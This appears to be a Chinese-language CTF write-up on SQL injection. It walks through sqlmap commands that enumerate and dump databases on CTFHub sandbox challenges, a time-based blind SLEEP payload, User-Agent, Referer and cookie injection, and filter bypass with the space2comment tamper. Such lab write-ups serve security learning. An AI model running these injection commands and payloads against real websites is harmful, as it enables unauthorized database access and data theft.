sqlmap的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
判断是否有注入点
sqlmap.py -u http://example.com/?id=1

查询当前用户下的所有数据库
sqlmap.py -u http://example.com/?id=1 --dbs

获取数据库中的表名
sqlmap.py -u “http://example.com/?id=1” -D sjk --table

获取表中的字段名
sqlmap.py -u “http://example.com/?id=1” -D sjk -T bm --columns

获取字段内容
sqlmap.py -u “http://example.com/?id=1” -D sjk -T bm -C zdm --dump

获取当前网站数据库的名称
sqlmap.py -u “http://example.com/?id=1” --current -db

--level表示深度级别
级别 1:仅测试 URL 中的 GET 参数
级别 2:增加测试 POST 参数
级别 3:增加测试 HTTP Cookie 参数
级别 4:增加测试 HTTP User-Agent 和 Referer 头
级别 5:会尝试更全面的参数测试,包括一些不常见的 HTTP 头

时间盲注

原理是通过构造带有时间延迟函数的恶意 SQL 语句,根据目标服务器的响应时间差异来判断注入的 SQL 语句是否执行成功,从而逐步推断数据库中的信息。

1
1' AND IF(条件, SLEEP(5), 0)--

含义是:如果 “条件” 为真,则数据库会暂停 5 秒再响应;如果为假,则立即响应。

  • 若响应延迟了 5 秒,说明 “条件” 为真;
  • 若响应无明显延迟,说明 “条件” 为假。

通过不断调整 “条件”,逐步猜出数据库的结构和数据

例如,判断数据库名的第一个字符是否为 ‘a’:

1
1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=97, SLEEP(5), 0)--

(注:ASCII('a')的结果为 97,若延迟 5 秒则说明第一个字符是 ‘a’)

实战

image-20250726214510197

使用工具sqlmap

python sqlmap.py -u "http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1" --dbs

image-20250726215600046

image-20250726220533133

python sqlmap.py -u "http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

image-20250726221449155

image-20250726221214821

python sqlmap.py -u "http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1" -D sqli --T flag --column --dump

image-20250726224643512

UA注入

User-Agent是 HTTP 请求头的一部分,用于标识发送请求的客户端的信息

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36

Web 应用可能会记录User-Agent信息,例如存入数据库

实战

image-20250726224244695

image-20250726224449520

使用sqlmap

python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 --dbs

image-20250726224622315

image-20250726225116516

python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 -D sqli --tables

image-20250726225212751

python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 -D sqli -T rginmdejsd --columns

image-20250726225429564

python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 -D sqli -T rginmdejsd -C bjaytlddwg --dump

image-20250726225525458

Refer注入

Referer是 HTTP 请求头的一个字段,用于标识当前请求是从哪个 URL 跳转过来的。例如:

  • 当你从https://example.com/pageA点击链接进入https://example.com/pageB时,pageB的请求头中Referer字段值就是https://example.com/pageA

实战

image-20250726225620236

查询数据库名

image-20250726230526587

查询数据表名

image-20250726230744386

查询字段名

image-20250726231113047

获得字段信息

image-20250726231250880

过滤空格

滤过空格的方法 /**/、()、%0a

sqlmap中的: space2comment.py

作用:用注释/**/替换空格字符’ ‘

实战

image-20250726231658218

python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" --dbs --tamper "space2comment.py"

image-20250726233336917

image-20250726233304200

python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" -D "sqli" --tables --tamper "space2comment.py"

image-20250726234829647

image-20250726234749361

python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" -D "sqli" -T ispxqemjbi --columns --tamper "space2comment.py"

image-20250727000857393

image-20250727000118406

python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" -D "sqli" -T ispxqemjbi -C llyxssifoc --dump --tamper "space2comment.py"

Cookie注入

实战

image-20250726232756412

image-20250726233110073

测试一下

image-20250726233242429

使用order by判断字段数量

当order by 3时,无回显,那么字段数量为2列

image-20250726233826547

union select 1,2未发现数据

image-20250726233955504

database(),查看数据库名

image-20250726234124271

查看全部数据库名

image-20250726234204253

查sqli中的表名

image-20250726234333975

查看ywjyfeexys表中的全部字段名

image-20250726234537477

看数据gyaycaommy中的内容

image-20250726234702053